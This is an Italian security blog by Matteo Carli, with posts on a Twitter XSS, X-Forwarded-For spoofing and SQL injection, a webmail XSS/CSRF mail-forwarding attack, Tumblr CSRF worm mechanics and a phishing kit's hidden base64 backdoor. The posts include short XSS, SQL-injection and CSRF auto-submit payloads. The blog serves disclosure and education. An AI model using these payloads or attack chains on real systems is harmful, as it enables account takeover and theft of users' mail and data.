Presto saranno disponbili su OWASP TV i video della conferenza.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Twitter, come altri social network, è stato bersaglio di problemi di sicurezza nel corso del tempo. Recentemente ho notato, insieme a Rosario Valotta, un problema di sicurezza che poteva permettere ad un attaccante di prendere il pieno controllo di un account tramite il click su di un link da parte della vittima.

Più nel dettaglio il problema era relativo alla validazione dei parametri della query string: a causa di alcuni caratteri Unicode non correttamenti gestiti dall’applicazione e dall’output del nome del paramentro senza encoding era possibile far scattare un XSS richiamando una URL di questo genere:

http://twitter.com/testxss?<script>alert(‘xss’)</script>=%A2

Il problema della validazione dei caratteri unicode su Ruby On Rails, framework sul quale Twitter è basato, è stato risolto a Settembre 2009. Niente di nuovo, anche se non eravamo a conoscenza dell’articolo prima di fare indagini sulla vulnerabilità trovata. E’ buffo che nei primi giorni di Settembre, Brian Mastenbrook (a cui vanno i crediti per il problema degli Unicode su RoR), sul suo blog ha dichiarato:

After a few days of not receiving a response from either vendor, I decided to ping both of them to get an update. I pinged a security researcher who I knew worked at Twitter, and after a little back and forth things were quickly resolved and Twitter was patched.

Probabilmente hanno installato la patch senza fare code review dell’intero software o perlomeno delle funzioni utilizzate per la validazione dell’output.

L’XSS sul dominio twitter.com permetteva il pieno controllo dell’account della vittima al solo click di un link presente in un twit . Una falla innocente, come viene classificato l’XSS, in questo caso poteva innescare una infezione virale proprio per la natura su cui si basano i social network.
Tecniche come identity stealing, malware distribution e spam sarebbero state immediate.

Il video seguente dimostra in azione la vulnerabilità sfruttata da un JavaScript di poche righe scritto in qualche minuto:

Twitter dovrebbe curarsi maggiormente della sicurezza dei propri utenti, ed essi dovrebbero avere maggiore cura delle informazioni personali che pubblicano nel World Wide Web.

Disclosure:

• 27 Ottobre: trovata la vulnerabilità
• 28 ottobre:  Twitter avvisato del problema
• 3 Novembre: Twitter riconosce il problema nella advisory di Brian Mastenbrook (ma non era già stata installata la patch?)
• 10 Novembre: Twitter corregge la pagina di errore togliendo l’output del nome del paramentro

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

In questa occasione CIO, CTO, CISO, Auditor, Responsabili IT, Security Manager e responsabili della Security Governance avranno l’occasione di aggiornarsi sull’evoluzione della sicurezza applicativa e sulle nuove iniziative di Software Security presenti nel panorama internazionale.

Informazioni e pre-bopoking all’evento: http://www.owasp.org/index.php/Italy_OWASP_Day_4

Ci sarò!

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Quando si scrive un’applicazione Web normalmente si tiene traccia o si utilizza in vari modi l’indirizzo IP del client che ha effettuato la richiesta. In tal senso è veramente semplice ottenere l’indirizzo IP tramite un qualsiasi linguaggio lato server.

Ecco come potrebbe presentarsi una tipica richiesta che passa attraverso Squid:

Host: www.example.org
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
X-Forwarded-For: 192.168.30.25
Proxy-Connection: keep-alive

L’header X-Forwarded-For, essendo sotto il pieno controllo del client, può essere utilizzato da un attacker per veicolare qualsiasi contenuto. Capita spesso di vedere un utilizzo completamente errato di X-Forwarded-For:

//PHP style
$ip = $_SERVER['X_FORWARDED_FOR'] ? $_SERVER['X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];


oppure

// C# style
String _ip = Request.ServerVariables["HTTP_X_FORWARDED_FOR"];
If (_ip == "" || _ip.ToLower == "unknown")
_ip = Request.ServerVariables["REMOTE_ADDR"];

La logica del codice precedente fa in modo che se l’header X-Forwarded-For è presente viene preso il suo contenuto, senza nessun tipo di validazione, come indirizzo IP del client. In questo non è difficile creare ad arte richieste per ingannare l’applicazione:

X-Forwarded-For: 1.2.3.4

oppure

X-Forwarded-For: ‘ ; SELECT VERSION() –

La logica giusta per gestire gli indirizzi IP è quella di utilizzare il contenuto dell’header X-Forwarded-For in maniera non esclusiva e sopratutto di trattarlo come un qualsiasi user-input.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

1. semplicità di exploiting (cross-browser)
2. scarsa awareness della vittima (nessuna interazione richiesta oltre all’apertura della mail stessa)
3. diffusione sul web (ampia diffusione della piattaforma vulnerabile e possibilità di propagazione virale)

Sia chiaro, nessuna novità nella categoria delle vulnerabilità delle Web Application, ma una dimostrazione di come l’insieme di alcune di queste può portare ad uno dei più gravi problemi mai registrati on-the-wild su Web Application. I bug scoperti sono adatti per sfruttati da quello che potrebbe essere uno dei più grandi e gravi Worm delle Web Application: numero di domini Internet coinvolti maggiore di 10 (cross-domain) e semplicità di propagazione.

Prima di scendere nei dettagli del funzionamento dell’attacco è doveroso precisare che il problema è stato corretto a tempo di record dal vendor che si è dimostrato attento alla sicurezza dei propri clienti.

Le WebMail interessate dalle vulnerabilità sono quelle basate sul framework di messaggistica “Memova” sviluppato da Critical Path. Si tratta di una soluzione per la gestione della posta elettronica enormemente diffusa sul Web .

Giusto per riportarne qualcuno:

• Tiscali IT/UK/NL
• Wind
• Telecom
• Vodafone
• Swisscom
• Telefonica
• Virgin
• Sonera
• Terra.es
• Telia
• T-Mobile
• FastwebNet
• Ono
• Regione Puglia
• Regione Sicilia
• Diversi domini gov.uk

Si tratta di ISP diffusi in Europa con una enorme base di utenti.
Ovviamente su ciascuna installazione, la soluzione Memova è stata opportunamente personalizzata, sia nel look che nelle funzionalità per venire incontro alle necessità del cliente, ma le caratteristiche di base sono comuni e, purtroppo, comuni sono anche le vulnerabilità.

Il grafico che segue riassume la vita dell’attacco che può essere portato a termine grazie alle vulnerabilità scoperte:

1. L’attaccante invia una e-mail preparata ad arte alla casella e-mail della vittima
2. La vittima legge l’e-mail e in maniera trasparente viene impostato l’inoltro automatico di tutte le e-mail in ingresso
3. Conoscenti, colleghi ed amici della vittima scrivono e-mail alla vittima stessa
4. Tutte le e-mail in ingresso nella casella della vittima vengono inoltrate all’attaccante in maniera trasparente.

L’impostazione dell’inoltro automatico è solitamente disponibile all’utente sotto le voci “Impostazioni” o “Opzioni” della WebMail. Questa opzioni non viene tuttavia consultata e modificata di frequente, per cui un’eventuale modifica di queste configurazioni passerebbe verosimilmente inosservata per parecchio tempo.
In alcune Webmail, interessate dalle vulnerabilità, non viene concessa all’utente finale la possibilità di impostare l’inoltro automatico tramite il menù delle opzioni; in tale scenario è praticamente impossibile per la vittima disabilitare le opzioni di inoltro, impostata grazie alle vulnerabilità scoperte, senza il supporto dell’assistenza tecnica dell’ISP.

Per il Proof of Concept delle vulnerabilità sono state analizzate le tre più popolari WebMail italiane (almeno in termini di account registrati) che tra l’altro fanno uso tutte e tre del framework Memova:

• Tiscali
• Libero (Wind)
• Virgilio (Telecom)

Tramite l’invio di una mail contenente un unico vettore di attacco è possibile infettare gli account di tutte e tre le WebMail, impostando le opzioni di inoltro automatico verso un account di posta elettronica controllato dalla vittima. Nonostante il PoC sia stato testato solo sulle 3 WebMail sopra descritte, è verosimile attendersi che anche nelle installazioni presso altri clienti, il software di filtering di Memova sia vulnerabile a questo XSS.

Per l’invio della mail l’attacker ha la necessità di creare un testo ad-hoc in modo da sfruttare le vulnerabilità presente sui filtri di validazione dell’input presenti nelle WebMail coinvolte. Il vettore riportato sopra è studiato ad hoc per evadere i filtri anti XSS di tutte le WebMail testate, sia nella loro vecchia versione, sia nella loro nuova versione 2.0 (basata su tecnologia Ajax). All’apertura della mail, il vettore inviato viene posizionato nel codice HTML di un iframe preposto alla visualizzazione del testo di ciascuna e-mail.
Il codice del vettore richiama un file JavaScript ospitato su un server Web in possesso all’attaccante che viene eseguito nel contesto dell’iframe (es: mioisp.it )
In alcune delle implementazioni testate esiste un meccanismo di “protezione2 per limitare i danni provocati da XSS abbinati a CSRF: il dominio dell’iframe in cui viene letta la mail (e quindi eseguito il JavaScript) è differente dal dominio della WebMail (es. mail.mioisp.it).
Esiste tuttavia un meccanismo per aggirare queste limitazioni:

• occorre individuare un secondo XSS sullo stesso dominio della WebMail (es. mail.mioisp.it) e senza la presenza del token di sessione (che non abbiamo ancora a disposizione)
• tale XSS (di tipo reflected) viene richiamato come source di un iframe creato all’interno del frame di lettura della mail
• il Reflected XSS può avere accesso alla document.location della WebMail (steso dominio), riuscendo così a recuperare il token di sessione
• Il reflected XSS può a sua volta lanciare attacchi CSRF verso pagine del dominio “mail.mioisp.it” riuscendo così a modificare i settagli dell’inoltro automatico

Svincolato dalle restrizioni della Same Origin Policy, ed in possesso del token di sessione il codice del reflected XSS può effettuare chiamate XmlHttp verso qualunque risorsa presente sul dominio “mail.mioisp.it”.
In particolare la URL da chiamare per impostare il forward automatico delle mail in arrivo è:

• POST /cp/ps/Mail/preferences/SetForward

Questa pagina è sempre disponibile sulle installazioni testate di Memova, anche in quelle in cui l’opzione di inoltro automatico non è disponibile per gli utenti finali della WebMail.

Come già ipotizzato qualche riga sopra, in una ottica teorica, ma praticamente realizzabile e funzionante, potrebbe essere creato un “worm” che sfruttando le vulnerabilità riportate sia in grado di auto replicarsi leggendo la rubrica o i mittenti e-mail presenti nella “inbox” della vittima. In questo modo si creerebbe un effetto a catena che comprometterebbe milioni di caselle e-mail interessate dalle vulnerabilità.
Avendo, inoltre,il controllo completo della casella e-mail della vittima sarebbe possibile effettuare il furto d’identità scrivendo e-mail a nome della vittima senza fare lo spoofing degli header.

Sulla base di una scelta “etica” e per rispetto nei confronti di tutte le parti coinvolte (la privacy degli utenti da una parte, il rispetto del lavoro di professionisti dall’altra) il codice sorgente e le specifiche tecniche alla base del PoC non verranno divulgate.

E’ disponibile un video dimostrativo (le notizie che si vedono a 2 minuti e 24 secondi evidenziano la data di registrazione) di quanto fin ora descritto e una advisory dettagliata del problema.

Rosario Valotta
Matteo Carli

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Nel dettaglio si tratta di due scoperte distinte, che se usate in accoppiata permettono di fare truncation del path in modo da aprire un file arbitrario presente sul filesystem del sistema o all’interno della open_basedir se configurata.

Consiglio di leggere l’advisory completa e magari il thread dedicato su Full Disclosure.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Questa piccola premessa (consiglio un approfondimento tramite la voce cookie su Wikipedia) per arrivare a dire: su HTTP i cookie possono essere intercettati e usati da un attaccante.  Credo che molti diranno: “Niente di nuovo sulla piazza”.
In soccorso a questo problema è nato il protocollo HTTPS che incapsula HTTP in una connessione cifrata con il Web Server di destinazione. In questo modo un attacco MITM diventa più complesso o per lo meno più macchinoso.
Sarebbero tutte rose e fiori se gli sviluppatori avessero recepito l’uso del flag “Secure” dell’header Cookie di HTTP. Questo flag impone al Web Browser di inviare il cookie solamente in presenza di un canale sicuro, interpretato durante l’implementazione nei Web Browser della RFC 2965 come l’HTTPS.

Il paper “Surf Jack – HTTPS will not save you” ha fatto notare una cosa molto importante: è inutile utilizzare le connessioni HTTPS quando i cookie non hanno il flag “Secure” attivo. Il perchè lo si può capire dallo screencast che segue:

Il cookie di sessione, non avendo attivo il flag “Secure”, viene inviato al Web Server anche su connessioni in chiaro. In questo modo un ataccante che si trova in condizioni di fare hijacking (tramite una qualsiasi tecnica) sarà in grado di dirottare (con un HTTP Redirect) la vittima in HTTP, in modo che il browser invii i cookie, del dominio target, in chiaro.

Il problema è più diffuso di quanto sembra, non credo che fino ad ora ne fosse stato considerato correttamente l’impatto. Ad esempio Google ha introdotto solo recentemente una funzione in Gmail che permette di utilizzare la Webmail solo tramite HTTPS inserendo il flag “Secure” sui cookie che contengono l’id della sessione.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Tumblr è un noto dominio dove si possono creare dei miniblog, meglio detti tumblelog. Ogni utente viene ospitato su sottodomini di tumblr.com (site:*.tumblr.com Risultati 125.000) oppure su un dominio proprio configurato per l’occasione. Questa configurazione porta ad eseguire codice JavaScript solamente nel dominio utilizzato per il proprio tumblelog: per le same-origin policy, non potrà essere sfruttato per attaccare la Dashboard, che risiede sul dominio www.tumblr.com.

Sono state prese ulteriori cautele dal punto di vista della sicurezza applicativa: ogni video è inserito nel proprio tumblelog innestandolo in un sotto dominio creato ad-hoc, i cookie hanno come path il dominio completo di www e ad ogni richiesta POST fatta per modificare/inserire il proprio profilo o micro-post viene controllato l’header Referer.
E’ stato proprio quest’ultima accortezza a destare i primi dubbi. Il controllo veniva soddisfatto solamente quando arrivava una richiesta da “www.tumblr.com/new/” oppure se il Referer era completamente vuoto.
Il Referer è un header di user-input ovvero viene inviato dal browser al server. E’ possibile, sfruttando qualche trick in JavaScript, magari non documentata, riuscire a modificare o addirittura cancellare il Referer al momento dell’invio di richieste POST o GET.
Alcune tecniche “storiche” nel frattempo risolte: Forging HTTP request header with Flash e Forging HTTP reeuqest header with XHR.
Ci sono anche altre tecniche tutt’ora funzionanti che sfruttando solamente JavaScript o HTML ad esempio:

<META HTTP-EQUIV=”refresh” CONTENT=”0;url=http://www.attacked.site”>

In questo modo il browser non invierà nessun referer ad www.attacker.site Il problema di questo approccio è la sfruttabilità solo in caso di richieste GET, nel caso di Tumblr la pagina della Dashboard accetta solamente il metodo POST.

Il metodo utilizzato per dimostrare che il controllo del referer come filtro anti Cross-Site Request Forgery, CSRF per gli amici, è stato quello presentato da Collin Jackson su sla.ckers.org:

<iframe src=”javascript:’<html><body onload=document.forms[0].submit();><form>….</form></body></html>’”;></iframe>

Viene invocata la funzione JavaScript passandogli tutto il necessario per creare un documento HTML ex-novo al volo. In questo modo il browser eseguirà le istruzioni al suo interno considerandolo come una entità a se stante.
Il metodo in oggetto l’ho correttamente testato su Opera 9, Firefox 2 e Internet Explorer 6. Solamente Internet Explorer 7 è immune da questa tecnica.

Presentata la tecnica sfruttata, è superfluo analizzare il sorgente, peraltro presente nell’articolo su PI. Esso non è altro che quanto visto sopra con in aggiunta tutti i campi del form necessari alla creazione di nuovo post sul tumblelog della vittima.

Il grafico seguente può riassumere la vita del worm (click per ingrandire):

1. Viene effettuato l’upload del codice sorgente del worm su un qualsiasi servizio di hosting
2. Viene inserito il worm nel tumblelog o un qualsiasi dominio in possesso all’attaccante
3. L’attaccante induce la vittima a visionare il dominio preparato ad-hoc
4. La vittima fa una richiesta alla pagina ospitate il worm
5. Il browser della vittima scarica il sorgente del worm
6. Il browser della vittima interpreta il codice sorgente del worm
7. Il worm effettua una richiesta CSRF verso la Dashboard di Tumblr…
8. …creando così un nuovo post nel tumblelog della vittima con riferimento al sorgente del worm
9. Tutti gli utenti che visiteranno un qualsiasi tumblelog compromesso reitereranno i passi dal punto 4 in poi

Per rendere possibile l’attacco CSRF implementato dal worm è necessario che le vittime abbiano una sessione attiva sulla Dashboard di Tumblr.

La vulnerabilità è stata corretta nel giro di pochi giorni ed ho deciso di presentarla solo come “case study”. Tumblr ha provveduto a cambiare il filtro sui Referer e ad implementare un token, univoco per ogni sessione, nei form utilizzati all’interno della Dashboard.

Avrei voluto parlarne prima ma gli impegni e l’OWASP day 2 me lo hanno impedito. Saluto a tal proposito Gianni Amato, Matteo Flora, Rosario Valotta e tutti i ragazzi di OWASP che ho avuto il piacere di conoscere.

“Oruga cerebral” photo credit: Gustavo Olivera

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Vedere il mio lavoro “nascondere codice JavaScript all’interno di immagini” nella lista delle 80 tecniche più importanti è stata una bella soddisfazione.
La soddisfazione maggiore è arrivata la settimana scorsa quando si sono concluse le votazioni del sondaggio: il mio lavoro è rientrato tra i primi 10!

Vedersi vicino a nomi come Stefano di Paola, RSnake, pdp e Jeremiah Grossman è  per me una soddisfazione sopratutto dopo essermi avvicinato alla WebAppSec per curiosità.

Grazie a tutti quelli che hanno votato!

Un periodo felice per la nostra penisola nella security! A tal proposito avete visto il port di TrueCrypt su MacOSX fatto grazie all’impegno di Bassotto, Flora, Pietrosanti e tutti i sostenitori?!

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)

Un gruppo che si fa chiamare Mr-Brain ha rilasciato dei tool, scritti in PHP, utili a chi vuole cimentarsi in truffe a mezzo phishing. Il sito Web del gruppo offre versioni diverse degli script in base al servizio da “impersonare”: eBay, PayPal, Bank of America, ecc..

I tool sono stati scritti in modo da permetterne l’uso a chi di PHP non ne sa niente: è necessario solamente inserire la propria e-mail per ricevere i dati sensibili inseriti da ogni vittima.

I tool-kit possono essere scaricati senza sborsare denaro. Quest’ultima caratteristica e l’immediatezza d’uso hanno permesso una larga diffusione nel mondo di phisher in erba, tanto che ne erano già state individuate tracce all’inizio dell’anno.

Chi pensa che i ragazzi di Mr-Brain hanno rilasciato questi script solo per la gloria o per il gusto di sapere che verranno usati per colpire utenti non molto smaliziati sbaglia di grosso. L’idea, simpatica, degli autori è quella di prendersi un equo compenso da ogni copia usata un po come fa la cara e vecchia SIAE.

Questa è la parte di codice che si occupa della raccolta di tutti i dati inseriti dalla vittima per poi inviarli via mail:

Notate niente di strano?

La funzione mail() è ripetuta due volte utilizzando due nomi variabili diversi, anche se solo per la prima lettera.
Il valore della prima variabile, quella con la “s” minuscola è definibile dal phiser, mentre il valore della seconda variabile, quella con la “S” maiuscola, è settato tramite un campo del form di raccolta dati. il valore di tale campo è stato offuscato codificandolo in base64:

<input type=”hidden” name=”Send” value=”<?=base64_decode(“TXItQnJhaW5ARXZpbC1CcmFpbi5OZXQ=”);?>”>

In questo modo, i dati della vittima, oltre ad essere inoltrati a chi ha personalizzato lo script con la propria e-mail, verranno sempre inviati anche a un indirizzo di proprietà del gruppo Mr-Brain.
Che dire? Forse l’esperienza conta sempre.

© Matteo Carli - Creative Commons 2.5 (by-nc-sa)